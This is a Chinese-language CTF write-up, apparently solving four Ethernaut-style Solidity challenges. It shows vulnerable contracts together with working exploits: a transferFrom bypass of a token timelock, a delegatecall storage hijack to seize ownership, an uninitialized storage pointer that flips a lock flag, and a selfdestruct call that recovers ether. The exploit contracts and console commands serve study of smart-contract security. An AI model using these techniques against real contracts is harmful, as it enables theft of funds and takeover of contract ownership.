目标:现在手里有一些代币,但是十年之后才能转走,先办法转走他们,使得你合约中的代币为 0
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
using SafeMath for uint256;
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
先看一下有多少代币
await contract.balanceOf(player)
在合约中,他 import 了一个 StandardToken.sol
pragma solidity ^0.4.6;
import './ERC20Lib.sol';
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
string public name = "SimpleToken";
string public symbol = "SIM";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 10000;
function StandardToken() {
token.init(INITIAL_SUPPLY);
}
function totalSupply() constant returns (uint) {
return token.totalSupply;
}
function balanceOf(address who) constant returns (uint) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
引用的这个合约中有两个转账函数,一个是 transfer 还有一个是 transferFrom,而题目的合约只对 transfer 进行了重写,我们可以使用题目 import 的那一个合约中的 transferFrom,先看一下 StandardToken.sol import 的 ERC20Lib.sol,看一下 transferFrom 是怎么定义的,他需要先经过 approve 批准才能使用
...
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from][msg.sender] = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
...
使用 approve 进行授权
await contract.approve(player,toWei(1000000))
然后通过 transferFrom 来实施转账
await contract.transferFrom(player,contract.address,toWei(1000000))
目标:拿到合约所有权
pragma solidity ^0.4.23;
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}//构造函数
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
contract LibraryContract {
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
delegatecall 调用的时候执行的是调用的那个函数,但是用的是本合约的变量,可以写一个 exp
pragma solidity ^0.4.23;
contract PreservationPoc {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint _time) public {
owner = address(_time);
}
}
首先调用正常合约中的一个函数 setxxxTime("恶意合约地址"),这样就可以把他的变量改成了我们的合约地址,再次去调用的时候就是去执行我们合约中的代码了,比如:
await contract.setSecondTime("恶意合约的地址")
这样 timeZone2Library 就成了恶意合约的地址,再次去执行 setSecondTime 的时候就是执行的恶意合约了,拿我们部署的来说就是改变了合约的所有者
await contract.setFirstTime(player)
一开始合约所有者不是我们,后面我们已经成为了合约的所有者,在第一次做的时候这样是不行的,要先用 setSecondTime 设置恶意合约为变量,然后 setFirstTime 来改变合约所有者,不明白怎么回事
目标:注册
pragma solidity ^0.4.23;
contract Locked {
bool public unlocked = false; //默认是false
struct NameRecord { //我们想要注册
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); //要让unlocked为true才能注册
}
}
这里涉及到一个变量覆盖的问题,我们知道在 solidity 中是有两种存储状态的,一个是 storage 一个是 memory,对于 struct 和 数组 来说,默认就是 storage ,对应上面我们的第 12 行 NameRecord newRecord 会被当成一个指针,newRecord.name 默认指向第一个存储块,也就是 unlocked,所以我们可以通过修改 newRecord.name 来修改 unlocked
参考:https://xz.aliyun.com/t/7152
当输入
name="0x0000000000000000000000000000000000000000000000000000000000000001"(63 个 0),地址为任意地址时,会覆盖 unlocked 的值,使其变为 true
目标:新生成了一个合约并转了 0.5 ether,但是丢失了合约地址,从丢失的合约中恢复 0.5 ether
pragma solidity ^0.4.23;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}//新建了下面的合约
}
contract SimpleToken {
using SafeMath for uint256;
string public name;
mapping (address => uint) public balances;
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
function() public payable {
balances[msg.sender] = msg.value.mul(10);
}
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
function destroy(address _to) public {
selfdestruct(_to);//自毁函数,pubic的
}
}
生成一个实例之后去看一下详情(国内 404,所以要..)
可以看到,我们的帐户给了他 1 ether,然后他又给了另一个地址 0.5 ether,这就是新创建的合约的地址,我们只需要调用新建的这个合约的 destory
mark一下,新建合约:
0xD2F46c7A6F69d56570BF25346f0Cc893a5925828
exp:把新建的合约地址贴上去部署 RecoveryPoc
pragma solidity ^0.4.23;
contract SimpleToken {
string public name;
mapping (address => uint) public balances;
function() public payable ;
function transfer(address _to, uint _amount) public ;
function destroy(address _to) public ;
}
contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}//构造函数
function attack() public{
target.destroy(tx.origin);
}
}
把那 0.5 ether 还给了我们,同时自己销毁了
提交就可以啦